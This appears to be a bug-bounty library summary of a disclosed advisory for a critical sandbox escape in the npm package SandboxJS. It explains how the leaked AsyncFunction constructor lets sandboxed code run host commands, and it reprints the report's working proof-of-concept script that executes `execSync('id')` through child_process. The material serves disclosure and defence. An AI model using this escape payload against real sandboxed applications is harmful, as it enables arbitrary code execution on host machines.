# SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor

SandboxJS only remapped global Function, so `(async()=>{}).constructor` leaked the host AsyncFunction and let sandboxed code run arbitrary host code.

- Payout: Research
- Severity: critical
- Program: SandboxJS
- Found by: nyxsorcerer
- Disclosed: 2026-01-27
- CVE: CVE-2026-23830
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wxhw-j4hc-fmq6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wxhw-j4hc-fmq6
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:rce vuln:sandbox-escape

**Target:** npm library @nyariv/sandboxjs (JS sandbox executor)
**Root cause:** utils.ts maps only `Function` to the safe SandboxFunction; AsyncFunction, GeneratorFunction and AsyncGeneratorFunction are absent from the replacement map, so executor property access on `.constructor` returns the native host constructor.
**Steps:**
1. Inside sandboxed code create an async function: `const af = async () => {};`
2. Read the leaked host constructor: `const AsyncConstructor = af.constructor;`
3. Build a host-scope function: `AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()")`
4. Invoke it and await the promise to get command output outside the sandbox
**How found:** Noticed the sandbox replaces global `Function` via a lookup map in utils.ts, then reasoned that non-global function constructors reachable through `.constructor` on instances were never added to that map, and tested `(async()=>{}).constructor`.
**Exploitation:** Attacker-supplied code compiled by SandboxJS reaches `.constructor` of a sandbox-created async function, obtains the native AsyncFunction, compiles a body that runs in global scope, and uses process.mainModule.require('child_process').execSync to execute OS commands (or returns window in browsers).
**Insight:** When a JS sandbox allowlists globals by name, enumerate every intrinsic constructor reachable via `.constructor` on instances (AsyncFunction, GeneratorFunction, AsyncGeneratorFunction, and their prototypes) — these are not globals and are commonly missed.

## Proof of concept (copied exactly from the original report)

**Sandbox escape PoC via AsyncFunction constructor**

```
const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();

const payload = `
    const af = async () => {};
    // .constructor returns the host AsyncFunction constructor because it's not intercepted
    const AsyncConstructor = af.constructor;
    console.log("AsyncConstructor name:", AsyncConstructor.name);
    
    // Create a function that executes outside the sandbox
    const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()");
    
    // Execute RCE
    const p = func();
    p.then(proc => {
        console.log(proc);
    });
`;

try {
    s.compile(payload)().run();
} catch (e) {
    console.error("Bypass failed:", e.message);
}
```

